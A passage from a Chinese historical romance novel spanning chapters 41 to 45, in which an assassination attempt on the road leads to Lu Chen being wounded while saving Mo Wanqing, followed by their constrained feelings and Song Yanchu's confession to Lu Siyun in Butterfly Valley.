“我自然忠于陛下，效忠于整个大宣国。陛下年事已高，却迟迟未立储君，这才引起朝廷纷争。我只希望大宣国的君主，永远是一个明君，可以让宣国一直繁荣昌盛，百姓安居乐业。”
“那宋大人以为，太子与和亲王，谁更适合做下一任君王？”
宋晏初看向他，正欲开口，却突然感受到前所未有的杀气。
陆琛自然也立刻就感受到了危机。
两人神色俱是一凛。
如他们所料，他们果然遇到了行刺。
陆思云看到有刺客，同上次一样立即下了马车去帮忙，只留一个完全不会武功的莫婉晴在马车内。
这次的杀手与上次的全然不同，皆是训练有素，武功高强之人。
就算宋晏初与陆琛武功再高，也抵挡不住这么多的高手。
很快，他们的队伍便渐渐落了下风。
突然，一名穿着黑衣的蒙面刺客跳上马车，干净利落地一刀摸了车夫的脖子，然后驾着马车跑了出去。
突如其来的冲击力，莫婉晴在马车里瞬间失去了平衡，摔倒在车内，心里十分害怕却无能为力，只能无助地喊着救命。
三人看到莫婉晴被抓，全都脸色大变。
陆思云下意识地想去追马车，却被刺客阻拦。
陆琛看他们情势不妙，立刻对宋晏初喊道：“我去救大夫人，你和二夫人先走。我们七日后在城门口汇合。”
宋晏初也清楚，杀手人数众多，仅凭他们三人之力根本无法突出重围，更何况现在莫婉晴还被带走，现在只有走为上策，从长计议。
于是他会意地对着陆琛点了点头，拉着陆思云，一路挥着剑杀了出去。
而陆琛见宋晏初他们顺利杀了出去，他也立刻飞身朝着马车的方向跑去。
莫婉晴坐在马车里东倒西歪，早就头晕眼花，连声音都发不出半分来。
她内心充满了绝望。
难道这一世，她就这样丧命于此了么？
她才刚刚找到一点自己生存的价值，就要在这停下来，戛然而止了么？
她实在是不甘心。
忽然，马车停了下来，在她还未来得及反应的时候，她就被一
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名黑衣杀手粗暴地拽下了马车。
待她双脚落地，看清楚眼前的情形时，蓦地流下了眼泪。
陆琛独自一人站在不远处，正看着她，眼底尽是担忧。
抓着她的黑衣人，用刀架在她的脖子上，对陆琛吼道：“将刀放下！”
陆琛毫不犹豫地将刀扔在一边。
“把名单交出来！”
“是谁派你来的？”
“你觉得我会告诉你么？快把名单交出来，不然我就杀了她。”
说着，架在莫婉晴脖子上的刀又靠近了几分。
“别伤害她！”陆琛的脸上少见地露出了紧张的神色。
他从怀里掏出名单，举过头顶，缓缓地，一步一步地朝他们走去。
莫婉晴泪眼婆娑地看着他慢慢走进自己。
她不知道，为什么他会追过来。
她只知道，他不顾自己的安危来救她了。
就在他离自己一丈距离的时候，莫婉晴不知哪里来的勇气，突然用力一把推开眼前的那把刀，朝着陆琛的方向跑去。
刺客没想到这一弱女子，居然有胆量反抗，有些措手不及，但他立刻反应过来，用刀刺向莫婉晴的后背。
陆琛眼疾手快，一个健步挡在她的前面，生生地挨了一刀。
尖刀刺入他的胸口，陆琛的脸色立即变得煞白。
但是生死攸关的档口，他顾不上自己的伤，立刻使出暗器飞向对面。
刺客猝不及防，中了毒镖，当场一命呜呼。
见对方口吐白沫躺在地上，没有一点生气，他这才放心下来，顿觉喉咙一阵腥甜，他猛的单腿跪倒在地，嘴里吐出一口鲜血。
莫婉晴吓得花容失色：“陆琛！”
陆琛倒在地上，面如死灰。
莫婉晴六神无主，但是她头脑还算清醒，她必须先给陆琛止血，不然他会立刻没命。
好在她懂一点医术。
她立刻将自己的裙子撕裂，撕成一条条布条，给陆琛受伤处简单地包扎了一下。
但是她终究是只懂一些皮毛，陆琛又伤势过重，如果不尽快带他去找大夫医治，他定会凶多吉少。
莫婉晴费了九牛二虎之力，将陆琛拖进了马车，然后驾车前往最近的小镇。
足不出户的深闺大小姐，在这紧要关头，连驾马车都能无师自通，连她自己都并未察觉。
等到了附近的小镇，她立刻找了一间比较隐蔽的客栈，开了一间客房，并给了老板一些银两，让他找几个人帮忙把伤重得已经昏迷不醒的陆琛抬进房间。
并按照她的嘱托，找了镇上最好的大夫来给陆琛疗伤。
因为她给得太多，掌柜自然是有求必应，谁都不会跟钱过不去。
“夫人，您还有什么吩咐，尽管提。”
莫婉晴仔细想了想，然后吩咐：“帮我把门外那辆马车处理了，烧了拆了都行，但不能留着。另外麻烦掌柜帮我买两套普通人家的衣服。我和我夫君是做生意的，在路上遇到了山贼，我夫君重伤，生死未卜，我担心那些坏人再找上门来。钱都不是问题，劳烦掌柜帮我办好这两件事。”
“没问题，夫人。小的一定会给你将事情办妥。”
嘱咐完掌柜，莫婉晴这才重新回到房间。
看着床上脸色苍白、不省人事的陆琛，莫婉晴担忧不已，但却只能默默流泪。
42.第 42 章
陆琛整整昏睡了三天三夜，才渐渐转醒过来。
他迷迷糊糊地睁开眼，首先映入眼帘的是一个陌生的屋顶。
然后他转过头去，看到趴在自己床边，正在熟睡的莫婉晴。
在见到她的那一刻，他的心总算是落了下来。
她平安无事，太好了。
他试图想从床上坐起来，但身体刚一动便牵扯到了伤口，他疼得倒吸了一口凉气：“嘶……”
莫婉晴本就没有睡熟，听见异动立刻抬起头。
看到陆琛微皱着眉，正看着自己，顿时喜极而泣：“你终于醒了！感觉如何？伤口还疼吗？”
伤口钻心地疼。
可是看到她满脸倦容，神色焦急地看着自己，陆琛却不忍心说出实话。
“不疼，我没事，你不用担心。”
他伤得有多重，恐怕只有这几日不眠不休照顾他的莫婉晴最清楚不过。
她又怎么会看不出他是在逞强。
可无论如何，陆琛终于醒了，醒过来就表示他至少死不了。
莫婉晴总算是放心了下来。
同时那天的惊心动魄立刻又浮现在眼前，如今想来还十分后怕。
“你为何要不顾性命来救我？”
如果你因此丢了性命，我该如何自处？
谁知陆琛听了她这句话，脸色立刻变得阴沉起来：“宋夫人是在为了赶来救你的是在下而得宋大人而觉得遗憾么？”
莫婉晴愣住。
这几天为了照顾伤重的陆琛，她的所有心思全都放在他身上，根本没有顾及到陆思云和宋晏初。
经他提起，她这才想到要询问他们二人的情况：“夫君和星然妹妹他们怎么样了？有没有受伤？”
听到她提起“夫君”二字，陆琛的脸更臭了。
但他还是回答道：“他们没事。我与他们说好七日后在城门口汇合……今天是第几日？”
“你已经昏睡了三天三夜。”
“我们必须尽快出发。”陆琛说着就想从床上爬起来，却因扯到伤口露出痛的表情。
莫婉晴见状立刻将他扶回床上。
“你伤得这样重，如何说走就走。你切莫着急，我会重新寻一辆新的马车，待你再休息两日，我们便出发，定能赶得及与夫君他们汇合。”
全身无力的陆琛只能老老实实地躺在床上，乖巧地任由莫婉晴照顾。
在床上结结实实地又躺了三天，陆琛才感觉自己的四肢慢慢又回到了自己身上。
而莫婉晴这三天寸步不离地陪在他床边，没日没夜地悉心照料。
他很享受这样的日子，这是他之前从未感受过的温暖。
冰冷的心，一旦感受到了温度，就会开始变得贪婪，想要去靠近那一片暖意。
他竟然希望自己的身体不要这么快恢复。
这样的日子可以一直继续下去。
但愿望终究只是愿望，他还有皇命在身，一刻都不能多耽误。
莫婉晴又重新买了一辆马车，然后扶着陆琛去掌柜前台结账。
掌柜见到这位金主，立刻露出客气的笑容：“这位夫人，您的夫君看上去气色好了不少。这是要继续出发赶路了吗？”
听见“夫君”二字，陆琛微微挑眉，不动声色地低头看向身旁搀扶着他的人。
莫婉晴此刻只想挖个地洞钻下去。
见到她泛红的耳尖，陆琛忍住笑意，对着掌柜说道：“这几日在下与内子，麻烦掌柜照料，多谢。”
莫婉晴瞪着眼睛抬头看他，看到他眼中的玩味，知道他方才是故意那么说，暗暗咬紧后牙槽，最终什么也不能说，只能任由他占了自己这个便宜。
莫婉晴还雇了一个车夫，这样他们二人都可以在马车里休憩。
照顾了陆琛好几夜，莫婉晴已是精疲力尽。
上了马车便靠在床边闭目养神。
陆琛坐在她面对，看着她憔悴的面容，知道这几日为了照顾受伤的他，她定然是累坏了，心里最柔软的地方泛起了涟漪。
他拿起一边的毯子，轻轻地盖在她的身上。
莫婉晴其实并没有睡着，虽然她的确很疲惫，可是马车颠簸，她也休息不好。
她假寐，完全是因为车厢内他们孤男寡女独处，实在尴尬，她只能用假寐来做掩饰。
因此，当察觉到他给自己小心翼翼地盖上毯子时，她的眼角泛酸，可她却只能拼命忍住流泪的冲动。
回到洛城，她便又是大理寺少卿的大夫人，而他是锦衣卫指挥使陆琛。
他们本就是两个没有任何交集之人，只因这次华县赈灾而联系在一起。
等回去之后，他们又会变成两条不会相交的平行线，再也不会有任何交集。
而他们，本就应该毫无关系，才是正确的。
马车一路快马加鞭，朝着洛城城门的方向快速行进。
眼看城门近在咫尺，突然车夫拉紧缰绳，马匹立刻发出嘶鸣声，前蹄抬起，马车立刻停了下来。
陆琛立刻察觉到危机。
几乎下意识地，他挡在莫婉晴的面前，警觉地看着前方。
忽然，马车车厢向四面八方裂开，陆琛抱着莫婉晴从马车里飞身而出，落在空地上。
他们的四周围着一圈黑衣杀手，个个都带着杀气，要将他们赶尽杀绝。
交战一触即发。
然而陆琛有伤在身，又要护莫婉晴周全，很快就落了下风。
在被来人一击重拳打飞而出，陆琛倒在地上，顺势一口鲜血从口中喷出。
莫婉晴连忙跑过去将他扶起，陆琛偷偷将名单塞给她，轻声道：“你快走，他们的目标是我，我想办法拖住他们，你往城门的方向跑，进了城门，你就安全了。”
莫婉晴拼命摇头，眼泪像断了线的珠子：“我走了，那你呢？”
陆琛不甚在意地笑了笑：“我本就过的是这样的日子。我早就知道我会有这么一天，我已经做好准备。婉晴，很高兴，此生能遇见你。如有来世，希望我们都能得偿所愿。”
说完，他轻轻一掌将她推开，厉声道：“快走！”
莫婉晴被他退出半丈，眼看着他又与那些人扭打在一起。
见无人注意到她，她立刻跑到一棵大树下，将陆琛交给他的名单埋在树根下。
刚埋好，就听见“砰”的一声，陆琛又一次摔倒在地上。
“陆琛！”
莫婉晴不顾一切地跑向他，将他搂在怀里。
见她又回来，陆琛满脸诧异：“你怎么……”
“我不走！如果今
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日是你的死期，那我就陪你一起赴死。”
“莫婉晴！我不用陪我一起死，你快走！”
“如今的情形，你觉得我还能走得掉吗？”
她已经死过一次，她不怕死。
如果让她丢下陆琛一走了之，那不如让她今日就与他死在一起。
莫婉晴紧紧楼主陆琛，眼看对方手起刀落，她闭上了眼睛，等待死亡那一刻的到来。
耳边却突然响起响亮的一声刀剑碰撞的声音。
在她还未反应过来之际，她看到十几个人冲向那几名黑衣人，与他们厮杀在一起。
“莫姐姐，你们没事吧？”
陆思云关切地问，却发现莫婉晴紧紧抱着陆琛，呆呆地看着她，显然是吓坏了。
她温柔地继续对莫婉晴说：“莫姐姐，已经没事了，我们来救你了。你不要害怕，已经没事了！”
莫婉晴这才反应过来，他们得救了。
她和陆琛得救了。
然后她两眼一黑，失去了知觉。
“莫姐姐！”
莫婉晴在闭上眼的那一瞬间，看到陆思云惊恐的表情。
等莫婉晴再次醒来，她已经躺在自己的兰熙苑内，碧水在一旁小心地伺候着。
“我的夫人，几月未见，您怎么瘦了一大圈，还伤痕累累，看得碧水心都快碎了。”
听见碧水熟悉的声音，莫婉晴的心踏实了许多，她转头安慰道：“我这不是平安回来了吗，你就不要再担心了。”
“您这那叫平安回来呀。您是被姑爷抱回来的，昏睡不醒，可吓坏碧水了。”
“我只是受到了一点惊讶，无碍的。”
“当初要是听我的，不要跟着姑爷和二夫人去治理水患，乖乖呆在府内，您也不会吃那么多苦，受这么多醉了。”
莫婉晴沉默不语。
她后悔去华县了吗？
当然不后悔。
在华县，她与夫君和思云妹妹一起治理水患，救助灾民。
虽然条件艰苦，但是每天都过得充实。
在华县的那些时光，她才觉得自己是活着的，是个有血有肉有用的人。
就算路途危险不断，她也因此差点丢了性命，受到了不小的惊吓。
可每次遇险，那个人都会出现在自己的身边保护她，让她觉得安心。
一想到陆琛，莫婉晴的心口便莫名的酸疼。
她知道，回来了，他们便只能止步于此。
华县所发生的一切过往，都只能埋藏在他们的记忆深处，埋藏在他们的心底。
“夫人，你怎么哭了呀，是不是哪里不舒服？”
“我没事。二夫人在府上吗？如果她在府上，你去请她过来，我有事想要问她。”
“好，我这就去请二夫人。”
陆思云知道莫婉晴醒了，不用碧水去请，自己便跑了过来。
“姐姐，你终于醒了，感觉如何？有没有哪里不舒服？”
见到她，莫婉晴连忙支开了碧水和翠柳，一副欲言又止的模样。
陆思云自然知晓她想问什么，于是主动告知。
“姐姐放心。陆大人并无生命危险，只是旧伤加新伤，需要静养一些时日。”
听见他没事，莫婉晴这才松了口气。
43.第 43 章
见她这般关心陆琛，陆思云又想起他们赶到之时二人紧紧抱在一起的场景。
她忍不住问：“姐姐和陆大人之间……”
莫婉晴立刻打算她：“妹妹不要多想，陆大人为救我受了重伤，这几天我都在照顾他。”
她自然知道莫婉晴注重礼节，断不会做出出格之事。
“虽然出发前，我再三保证会保护好姐姐，谁想一路居然危险重重，几次都害姐姐深处危险之中，我实在很惭愧。”
“妹妹无须自责，多怪我太没用，总是成为你们的累赘。害陆大人身受重伤，害得妹妹和夫君深陷危机。”
“姐姐千万不要这样想，这怎么能怪你一人呢？要怪就怪那些心怀叵测之人。”
忽然，陆思云眼珠子一转，计上心头：“既然姐姐说陆大人是为救你而受重伤，那等过几日姐姐身体恢复了，我陪姐姐上门道谢如何？”
莫婉晴怔住。
“这怕是不合礼数……”
“我陪姐姐一起去，又不是孤男寡女，有何关系？况且我们只是登门道谢，道完谢立刻就走，并不逗留。”
莫婉晴有些犹豫。
出于私心，她当然想去看看陆琛的伤势如何。
可强烈的道德感又告诉她，她不可以这么做。
陆思云自然看出她的犹豫，她拉起莫姐姐的手，说：“那姐姐就当是陪我去的，如何？陆大人这次华县之行，帮了我们许多，我理应上门道谢。”
“那就依妹妹的。”
过了几日，二人带上见面礼，便去了陆琛的府邸。
这是莫婉晴第一次来到陆琛的宅邸，他的宅院与他本人一样，风格冷峻，透着一股无声的威严。
接待她们的是陆府的管家。
“请夫人们稍等，我去请家主过来。”
陆思云四周观察着屋内的陈设，忍不住啧了一声：“想不到陆大人的府内，这么空空荡荡，连个人影儿都没有，怪冷清的。”
莫婉晴没有接她的话，自从来了陆府，她一直都处于有些紧绷的状态。
“府上空旷，扫了二夫人雅兴，在下给二夫人赔不是。”
听到陆琛的声音，莫婉晴立刻转过身看向他。
他穿着浅色长袍，肩上披着一件黑色锦缎挂衣，左手绑着绷带，脸色苍白，步行缓慢，但看向陆思云的眼神却依旧犀利。
看得出，陆琛受伤不轻，但没有生命危险，并且已能下床走路，想来是没有什么大碍。
自从华县一起合作过后，陆思云倒是不再讨厌惧怕陆琛。
她将见面礼奉上，笑着说：“今日我同姐姐代表夫君来此，答谢陆大人在华县时出手相助，救了我们莫姐姐一命。”
陆琛接过礼物，语气淡然地回：“二夫人客气了。”
从头至尾，陆琛都没有看莫婉晴一眼，而莫婉晴在确定陆琛无恙后，也便低头沉默不语。
陆思云自然察觉出二人之间在刻意躲避对方。
“既然谢礼已送到，那我们便不打扰陆大人休养了，告辞。”
“多谢二位夫人，有心了。”
陆琛起身相迎。
莫婉晴跟在陆思云身后，往外走。
没走几步，她便忍不住停下来，转过身，看着陆琛，微微行礼：“陆大人保重身体。”
陆琛看着他，薄唇紧抿，最终也只能淡然地开口：“多谢大夫人关心。”
出了陆府，莫婉晴神情恍惚，陆思云见了握住她的手，无声地安慰着。
感受到手上的温度，莫婉晴对她挤出一抹笑容：“今日多谢妹妹，见到他平安无事，我也就放心了。接下来我会继续好我自己的生活，妹妹不用担心我，我没事。”
陆思云却知她心里定然不好受。
有什么比不能与自己心爱之人长相厮守，更让人觉得遗憾与悲切的呢。
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华县回来之后，莫婉晴又变成了之前那个忙忙碌碌，雷厉风行的内府掌事人。
陆思云觉得，她好像比以前更忙碌了。
每日看着莫婉晴在府中风风火火地指使着下人干这干那，陆思云总是莫名地担忧，怕她只是表面上看起来若无其事，实则是想用忙碌来麻痹自己的内心。
问题的症结她也清楚。
于是在用完晚膳后，她来到宋晏初书房，想与他商议此事。
她不知道宋晏初是否知道莫婉晴与陆琛之间的事，但那天他们带人前去营救的时候，他一定也看到了那两个抱在一起的身影。
所以陆思云觉得，他定不会毫无察觉。
见她来找自己，宋晏初肉眼可见的高兴。
他连忙让云青去沏一壶好茶来。
自从那日月下拥抱之后，陆思云便总是若有似乎地避着他。
后来他们遇刺，一路逃命，一路寻找着陆琛和莫婉晴的踪迹，根本顾不上儿女私情。
回来后，他忙着处理华县水患和贪污灾银两起案件的相关事宜，也没有时间空出来同陆思云好好说话。
今日见她主动来找自己，他心里自然喜出望外。
云青将茶端上来后，就识趣地退出了屋子，将空间留给二人。
宋晏初面带浅笑地看着她，让陆思云有些不自在。
她有些不习惯这样的宋晏初，平日里不是特别的一本正经么？
怎的今日这般花痴地看着自己，把她看得心里有些发毛。
没想到眼前的这个男子，开窍之前与开窍之后，反差竟然如此之大，让她着实有些意外。
喝了会儿茶，陆思云率先开口：“今日我来找夫君，是想同夫君商量一下莫姐姐的事。”
“婉晴？”宋晏初一脸莫名：“婉晴有何事？”
“在华县的时候，夫君难道没有看出莫姐姐和陆琛之间有些不同么？”
听见她这样说，宋晏初的神情立刻阴沉了下来。
见他突然沉下来脸，陆思云这才想起来，莫婉晴是他的白月光，白月光心里有别的男子，他自然也会觉得不舒服。
只是，既然他心里有莫姐姐，为何还要对她发出蝴蝶谷的邀约。
难道这个朝代的男子，一颗心可以给好几个女人？
可这不是她想要的。
陆思云垂眸问：“我知晓夫君从小就喜欢莫姐姐。莫姐姐如今心里有陆琛，你定然觉得愤怒，这也是人
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之常情。”
宋晏初意识到自己一瞬间的沉默让她误会了，连忙解释：“夫人误会了。”
陆思云抬头看向他。
“我确实以前爱慕过婉晴，这点我并不否认。我与她从小一起长大，并且自小就有婚约，我早就将她视作我的妻子。在我的观念里，这世间的女子就应该像她这样，端庄大方，擅长琴棋书画、诗词歌赋。世家贵门女子大抵都像她这般。随着年纪的增长，渐渐懂事，我也察觉到，她只是将我当做青梅竹马的弟弟，并没有其他男女之情。本来倘若她想退婚，我也会成全。却不想，到了婚期，她如约嫁于我。可我如何能强迫一个对我没有感情的女人行夫妻之实。所以我与她，只有夫妻之名，并无夫妻之实。”
“我自小便没接触过什么女子，所以对感情之事，经验甚少。我不知该让夫人如何明白，那夜我在华县邀请你去蝴蝶谷，是我第一次想要和女子出去游玩。你可明白我想说什么？”
陆思云因他的这一番话，顿觉脸颊微烫。
“我明白夫君的意思。那莫姐姐和陆大人之间的事……”
说回了莫婉晴和陆琛，方才还在含情脉脉意思要表白的宋晏初，脸色立刻冷了下来。
“他们之间的事，若说我一点都没察觉，你也不会相信。”
“我自然知道夫君观察入微，定会察觉。只是莫姐姐如若和陆大人之间是两情相悦，夫君可愿成全他们？”
宋晏初有些不可置信地看向她：“你是说，要我休了婉晴？”
“夫君可以同莫姐姐和离。你方才也说，莫姐姐对你并无意，夫君将她绑在身边，只会让大家都痛苦，何不放她自由？”
在陆思云看来，这是一件非常简单的事。
既然莫婉晴和陆琛两情相悦，为何宋晏初不与莫婉晴和离，这不是皆大欢喜？
然后宋晏初却不能赞同：“你还记得，之前你擅自离府，我罚你跪了一夜祠堂之事么？”
“自然记得。”
“你当时要我同你和离，放你自由。我便说过，你我的婚事是皇上御赐，若和离乃抗旨。”
“是，可你和莫姐姐并不是皇上赐婚，为何也无法和离？”
“婉晴持家有方，又没做出格之事，也没犯七出之罪，我用什么理由与她和离？就算我看出她与陆琛有不一样的情感，无凭无据，谁会相信？况且以这样的理由与她和离，对一个女人来说，名声尽毁。我就算同意和离，她又如何能全身而退？”
陆思云这才发觉是自己把事情想得太简单。
这里是一个思想封建，礼教约束极深的社会，与她原本的世界天差地别。
她无法用现代人的思想来看待这个世界的人和事。
倘若宋晏初与莫婉晴和离，无论是什么理由，她都是一个嫁过人又和离了的女子。
这世间的人定会用吐沫星子淹死她。
她的家族也会因为她而蒙羞。
如此，她也许又会重蹈上一世的覆辙。
这样想着，陆思云突然更能够深刻理解莫婉晴这段时间的纠结和痛苦。
并不是她不能同陆琛在一起，而是这个世界不能允许他们在一起。
44.第 44 章
“夫君说的是，是我思虑不周。只是我还有一事，想问夫君。”
“何事？”
“你是否介意，莫姐姐和陆大人的事？”
宋晏初知道，定是方才他的反应让她误会自己对莫婉晴还有情。
他立刻伸手握住她的。
“我对婉晴，早就已经释怀。我当然也希望她可以幸福。只是这件事，还需从长计议，不能急于一时。不然很有可能弄巧成拙，有损她名节。”
在这个时代，名节对女子有多重要，不必多说。
“今日我是擅自主张前来同夫君商议此事，莫姐姐并不知道。莫姐姐虽然心有所属，但恪守本分，从未做有违伦理之事。还望夫君切莫将你我二人的谈话告知姐姐。姐姐自尊心强，我怕她会不知道如何面对夫君。”
“这个我心中有数，你放心。”
二人说完正事，一时无话。
气氛有些沉默，两人都有些不知所措。
宋晏初先开口询问：“夫人同我说的事说完了，现在轮到我来问夫人了。”
“夫君请问。”
“不知夫人何时有空，赴蝴蝶谷之约。”
陆思云这才想起，他们还有这样一个约定。
心里不自觉地开始有些期待了起来。
“一切听从夫君的安排。”
“那行，我让云青准备点吃食，等休沐的时候，我们就一同前往。”
“好。”
与宋晏初谈完事，陆思云心情大好地回到自己的宅院里。
路过兰熙苑，她看到莫婉晴独自一院坐在院中对着空中发呆。
她便走了过去：“姐姐这么晚了，为何还没歇下？”
听见声音，莫婉晴转过身，看到是她，便难得露出笑容：“妹妹，你来啦。”
“姐姐最近忙于府中事务，有没有累着。看姐姐的脸色有些憔悴。”
“原先我也是这么管理府中事务，已经习惯了，无碍的。”
陆思云知道她只是嘴上逞强。
碧水已经不止一次偷偷过来跟她诉苦，说大夫人自从从华县回来，便每日闷闷不乐。
虽然依旧将府中的事情打理的有条不紊，但回到自己的宅院内，她便喜欢坐在窗便发呆。
从前的那般消沉的模样仿佛又回来了。
碧水很担心她会变成之前那个样子，所以过来想让陆思云再好好劝劝她。
陆思云心里明白，她为何回来之后变成如今这样。
可她却不能对碧水坦白。
就算理智告诉莫婉晴如何应该同那人划清界限，但她的情感却没办法做到。
陆思云也不知道应该怎么劝她，也不能告诉她自己已经与夫君偷偷商议过她的事，还得从长计议。
忙完华县的事，宋晏初难得空闲，于是从来不休沐的大理寺少卿，便带着夫人一起休沐了。
宋晏初特意挑了一天气候宜人的日子，带上陆思云坐上马车开到蝴蝶谷。
夏末是蝴蝶谷最美的时节。
漫山遍野都是五颜六色的花朵，品种繁多，陆思云认不出来，只觉得美艳动人。
成群的蝴蝶围绕在花丛中，生气盎然。
蝴蝶谷由此得名。
陆思云竟不知，洛城有这样美不胜收的地方，不禁看呆了。
宋晏初看到她这边沉迷于眼前的美景，就知她很喜欢这个地方。
“这里真美。”
“你喜欢的话，以后每次休沐，我都带你来。蝴蝶谷一年四季的景致都不同，各有各的美。”
陆思云听了，连连点头。
山谷幽静，只有他们二人与这山水。
宋晏初席地而坐，悠闲地弹着古琴。
琴声在山谷中悠扬婉转，仿佛天地间，只有他们两个人，自由自在，无拘无束。
陆思云躺在草地上，闭着眼，耳边是灵动的琴声，偶尔还有鸟鸣声，鼻间是青草的清新香。
她许久没有这边逍遥自在了，简直是乐不思蜀。
“我好久没有这么开心了。”
今日是她穿越到这个世界后，过得最快活的一天。
见她这么高兴，而此地又如此美轮美奂。
宋晏初停下了手中抚琴的动作，从地垫上站起身，走到陆思云身边，在她旁边躺下。
两人一起躺在这天地间，享受着自然带来的惬意时光。
另一边，莫婉晴带着碧水去街上采买东西。
自从去了一次华县，她便不再拘泥于宋府那一方天地，也愿意带着碧水偶尔出门办事。
如果她没记错的话，马上就是皇家的秋季围猎，在这场围猎之上，宋晏初大放异彩，深受皇上赏识。
她必须要尽早为此次围猎做准备，置办需要的东西。
“夫人，姑爷带着二夫人去了蝴蝶谷，就他们两个人，没带一个下人。您知道这意味着什么？”
碧水从早上开始就一直在跟她念叨着这件事。
这事儿她在华县的时候就知晓，所以她并不觉得有什么，反而为他们二人能独处的时光感到高兴。
“意味着什么？”莫婉晴漫不经心地回，手中却一刻不停地在翻看着各种布料样式。
“意味着姑爷只宠爱二夫人了，不然为何不带您一起去呢？”
莫婉晴听了失笑：“带我去做什么？再说，我也不想去打扰他们二人。我留在府里还有好多事情要做呢。”
碧水这家更加着急了：“大夫人，您是嫁给姑爷，还是嫁给姑爷府了？合着他们二人出去游山玩水好不快活，把家里的脏活累活都留给你操心。你又不是他们的老妈子，你也是姑爷的妻子，为何二夫人去的，你去不得？”
莫婉晴沉下脸，转身对碧水厉声道：“碧水，这样的话我只有一遍，往后不会再说第二遍，你给我记住了。我不喜欢姑爷，不想得到姑爷的宠爱，我与妹妹情同姐妹，姑爷待我又尊又敬，他们俩都是我最重要的家人。如果他们是两情相悦，我会真心地祝福他们。所以你不用为我抱不平，因为我心中没有任何不平。他们感情好，是我喜闻乐见的事。我现在只想一心把府中的事务打点好，把我自己本分的事办好。你明白了吗？不要替我委屈，我一点都不觉得委屈。”
既然主人都这样说了，她又有什么好愤愤不平的呢。
碧水只能苦着一张脸，什么也不敢再多言。
莫婉晴与布匹掌柜定完步，两人一起走出门。
突然就听见门外有人大喊：“锦衣卫办案，尔等让开！”
一听见“锦衣卫”三个字，莫婉晴就觉得自己的心跳加快了几分。
她抬头看过去，一排穿着飞鱼服的锦衣卫从门前走过，看上去威严又肃杀。
而走在中间骑着马的，正是锦衣卫指挥
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使。
上次在他府邸见面时，他的伤还未痊愈，看上去脸上苍白虚弱。
如今再见到，他已经恢复如初的硬朗，脸上再去一丝病态。
见他这么精神，莫婉晴心中很是欣慰。
忽然，锦衣卫的队伍突然停了下来，骑在马上的陆琛翻身下马，径直走到莫婉晴面前，向她打招呼：“宋夫人，别来无恙。”
莫婉晴没想到他会停下来同自己说话，有些愣神地看着他。
他们很快便成为路人的焦点，毕竟锦衣卫的那身大红色的飞鱼服，实在是太过惹眼。
莫婉晴立刻觉得脸色有些微热，她行礼淡淡地道：“许久不见，陆大人。”
“前几日身体抱恙，一直没机会谢谢宋夫人的救命之人。”
“陆大人言重了。陆大人曾经救我性命，我投桃报李，是应该的。”
陆琛盯了她一会儿，终究是没再说别的：“既如此，那就不打扰宋夫人了。”
“陆大人慢走。”
莫婉晴看着他利落地翻身上马，然后带着大部队款款离开，心中满是哀叹。
他们如今，就算见了面，也只限于此。
碧水有些莫名地问：“夫人，您何时与锦衣卫这般熟悉了？”
莫婉晴收回眼神，敷衍地回答：“在华县的时候，陆大人帮过夫君。”
收拾好自己的心情，莫婉晴带着碧水回了宋府。
宋晏初和陆思云还未回来。
他们在蝴蝶谷待了一天，直到太阳下山，依旧有些流连忘返。
宋晏初借着这漫天飞舞的蝴蝶，借着这大自然自带的浪漫氛围，他鼓起勇气，对陆思云说道：“其实我今日带你来这蝴蝶谷，是有些话想同你说。”
“夫君请说。”
在这满山花海之中，宋晏初看着陆思云，眼底尽是温柔。
“我心悦于你，无论你是楚星然，亦或是陆思云。”
陆思云无法明确地用语言说出，自己从宋晏初口中听到“陆思云”这三个字，对自己的震撼有多大。
面对他的表白，她一句话也说不出来。
只能无能地看着他，止不住地流泪。
宋晏初伸手碰住她的脸颊，柔声道：“你不用这么快给我回应。我说过，无论多久，我都会等你。”
说完，他温柔地擦拭着她眼角的泪水
。
夕阳的余晖落在这片山谷中，将山谷里的一切都染成了红色，包括他们两人。
宋晏初看着心爱之人，心中悸动不已。
他轻轻俯身，低头吻住了她。
夜幕时分，宋晏初和陆思云才坐车马车回到了宋府。
他一路送陆思云回到宅院。
自从方才表明心意之后，两人之间的氛围就变得有些不一样。
“今日，夫人也累了，早些休息。”
“夫君也是。谢谢夫君带我去蝴蝶谷，今天的一切，我永生难忘。”
二人站在门口，有些依依不舍。
翠柳从里屋走出来，面带笑容地问宋晏初：“姑爷，今夜是否要在这里歇下？”
其实宋晏初每次晚上来，翠柳都会这样问，但得到的答案总是否定的。
这次翠柳也不过是例行公事地问一下，本来也没抱太大期望。
却不想，她听见宋晏初说：“那今晚我便留下吧。”
45.第 45 章
“那今晚我便留下吧。”
他这样说，陆思云和翠柳全都愣在原地。
但翠柳很快便反应了过来，她兴奋地大喊：“那我立刻去准备一下。”
陆思云还呆在那里。
今晚他要留宿？
他刚跟自己表白完，晚上就要和她同床共枕了？
他们这些古代人，节奏都这么快的吗？她一现代人都快有些赶不上了。
见她没了反应，宋晏初失笑：“夜凉，我们进屋吧。”
晚上，两人并排躺在床上，陆思云抓着被角，眼睛瞪得老大，看着天花板，神情前所未有的紧张。
宋晏初其实也很紧张，他虽然有两位妻子。
但说来惭愧，却从未与她们任何一人有过夫妻之实，在男女之事上也并无经验。
见她如此紧张，宋晏初说：“今夜，我什么都不会做，夫人请放心。”
听他这样说，陆思云倒是有些羞愧了。
他们原本就是夫妻，行夫妻之事本就是理所应当的。
现在却因为自己没有经验，觉得紧张，让夫君反过来迁就自己。
这倒是显得她有些矫情。
“夫君，我……”
“我明白的。”宋晏初打断她：“我说过，我会等你。我说话算话。”
陆思云内心柔软，觉得眼前的这个人百般好。
---
不久，便到了皇家围猎的时节。
好在莫婉晴提前做了准备，需要的、有可能需要的全都采买了回来备着。
“姐姐还是想得这般周到。”陆思云看着这么多东西，对莫婉晴赞不绝口。
“哪有妹妹说得那么夸张，我不过是做好自己的本分工作罢了。”
“我可一点没夸张，姐姐的能力我们大家都是有目共睹的。”
莫婉晴像是想起了什么，握着陆思云的手，笑得一脸暧昧。
“我听闻，这段时间夫君一直住在妹妹院内，可有此事？”
陆思云的脸色立刻变得通红。
“这是好事，妹妹无须觉得不好意思。夫君以往一直住在自己的寝室，从未像现在这样在谁那留宿，还留宿这么久。这说明夫君心里，有你。”
被她这样一说，陆思云更是羞得不知该说什么好。
“我现在只盼着妹妹能给夫君生个一儿一女，这样我们宋府就更加热闹了。”
“那姐姐呢？姐姐该如何？”
“我？我就做孩子们的大娘，帮你们一起把孩子照顾长大。”
莫婉晴虽然脸上微笑着，但在陆思云的眼中，她只觉得姐姐眼里没有了光。
